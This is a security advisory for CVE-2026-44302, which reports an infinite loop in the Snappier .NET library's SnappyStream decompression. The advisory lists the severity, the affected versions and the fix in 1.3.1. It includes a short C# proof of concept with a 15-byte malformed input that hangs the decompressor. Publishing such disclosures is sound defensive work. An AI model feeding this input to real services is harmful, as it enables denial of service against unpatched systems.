GHSA-pggp-6c3x-2xmx

Source

https://github.com/advisories/GHSA-pggp-6c3x-2xmx

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pggp-6c3x-2xmx/GHSA-pggp-6c3x-2xmx.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-pggp-6c3x-2xmx

Aliases

CVE-2026-44302

Published

2026-05-06T20:53:23Z

Modified

2026-05-06T21:05:10.674016Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator

Summary

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

Details

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Database specific

{
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:53:23Z",
    "cwe_ids": [
        "CWE-835"
    ],
    "severity": "HIGH",
    "nvd_published_at": null
}

References

Affected packages

NuGet / Snappier

Package

Name: Snappier; View open source insights on deps.dev
Purl: pkg:nuget/Snappier

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

1.3.1

Affected versions

1.*

1.0.0-beta001

1.0.0-beta002

1.0.0

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.1.5

1.1.6

1.2.0-beta0001

1.2.0

1.3.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pggp-6c3x-2xmx/GHSA-pggp-6c3x-2xmx.json"

last_known_affected_version_range

"<= 1.3.0"